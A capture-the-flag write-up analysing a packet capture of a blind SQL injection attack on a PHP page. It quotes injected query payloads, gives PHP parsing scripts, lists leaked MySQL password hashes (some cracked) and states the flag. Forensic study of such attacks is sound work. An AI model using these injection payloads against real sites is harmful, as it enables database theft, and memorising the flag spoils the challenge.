Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
(‘|’is just a character)Download : 80924D4296FCBE81EA5F09CF60542AE7
Net400 featured a network packet capture of a blind SQL injection attack with task to extract some info and bruteforce a bit.
Analyzing the attack
The task pcap carries 15 MB of HTTP traffic between two VMs.
All the requests are made to http://www.cdgate.xxx/sc/id_check.php with ?name= get parameter. Here is a couple requests from the beginning.
GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:03:38 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 4 Connection: close Content-Type: text/html <br>
$_GET[‘name’] is set to “music’ AND ‘Ohavy’=’Ohavy” and server response is <br>
GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:03:38 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html
$_GET[‘name’] is “music’ AND ‘Ohavy’=’Ohavyy“, server response is empty
It’s an SQL injection, and server prints out <br> when the SQL query returns some rows (when the condition is TRUE), and gives out empty page when zero rows are returned (condition is FALSE).
Let’s look what info we can extract from the packet trace.
Extracting info, bit by bit
First, we need to gather all URLs that are being requested, with corresponding server answers.
Wireshark only extracts HTTP objects that have non-zero length, so let’s not use it. All the HTTP traffic is plain-text, and it lies as it is inside the PCAP. strings utility allows to get rid of all binary trash, and keep only the text that can be later processed.
Now extracting attack info from pcap boils down to plain-text processing. Content-Length http response header field can be used to determine whether the condition was TRUE (length 4) or FALSE (length 0).
Here’s a script for that:
<?php $f = file_get_contents('strings_out.txt'); preg_match_all('#GET /sc/id_check\.php\?name=(.*?) HTTP/1\.1.+?Content-Length: (\d+)#s', $f, $mt, PREG_SET_ORDER); foreach ($mt as $m) { $query = urldecode($m[1]); echo "Query: $query\n"; $length = $m[2]; if ($length == 0) { echo "Result: FALSE\n"; } elseif ($length == 4) { echo "Result: TRUE\n"; } else { echo "Result: $length\n"; } } ?> |
Attacker extracts info from database using a series of SQL queries. A query consists of 4 parts:
music' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 1, 1), 4, 1)) > 112 AND 'idobQ'='idobQ
- SQL query
- Character position
- ASCII probe
With a series of SQL queries with different ASCII probes a single character can be extracted. Varying Character position, we can get the entire SQL query result char-by-char.
A script that assebles SQL query results bit-by-bit:
<?php $f = file_get_contents("sql_queries_results.txt"); preg_match_all('#Query: music\' AND ORD\(MID\((.+?), (\d+), \d+\)\) > (\d+) AND \'\w+\'=\'\w+\nResult: (TRUE|FALSE)\n#s', $f, $mt, PREG_SET_ORDER); $datas = array(); foreach ($mt as $cm) { $query = $cm[1]; $pos = $cm[2]; $probe = (int)$cm[3]; $result = $cm[4]; if (!isset($datas[$query])) $datas[$query] = array(); if (!isset($datas[$query][$pos])) $datas[$query][$pos] = array(0 => 0, 1 => 255); if ($result == "TRUE") { $datas[$query][$pos][0] = $probe + 1; } else { $datas[$query][$pos][1] = $probe; } } $decoded = array(); foreach ($datas as $query => $chars) { $str = ''; foreach ($chars as $char) { $str .= chr($char[0]); } $decoded[$query] = $str; } print_r($decoded); ?> |
The flag
Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
Database name is cdgate:
(IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))) => cdgate |
Table name is member:
(SELECT IFNULL(CAST(TABLE_NAME AS CHAR(10000)), CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(X,X,X,X,X,X) LIMIT 0, 1) => member |
Passwords are hashed using MySQL5 algorithm. Let’s bruteforce:
*300102BEB9E4DABEB8BD60BB9BB6686A6272C787 *1763CA06A6BF4E96A671D674E855043A9C7886B2 *C5404E97FF933A91C48743E0C4063B2774F052DD *DBA29A581E9689455787B273C91D77F03D7FAD5B *8E4ADF66627261AC0DE1733F55C7A0B72EC113FB *FDDA9468184E298A054803261A4753FF4657E889 *0ECBFBFE8116C7612A537E558FB7BE1293576B78 *EEFD19E63FA33259154630DE24A2B17772FAC630:lynco *6FF638106693EF27772523B0D5C9BFAF4DD292F1 *87A5750BB01F1E52060CF8EC90FB1344B1D413AA:mouse *DDD9B83818DB7B634C88AD49396F54BD0DE31677:etagcd <== *3E8563E916A490A13918AF7385B8FF865C221039 *18DF7FA3EE218ACB28E69AF1D643091052A95887 |
echo strtoupper(md5('cdgate|member|etagcd')); AB6FCA7FFC88710CFBC37D5DF9A25F3F |
Flag is AB6FCA7FFC88710CFBC37D5DF9A25F3F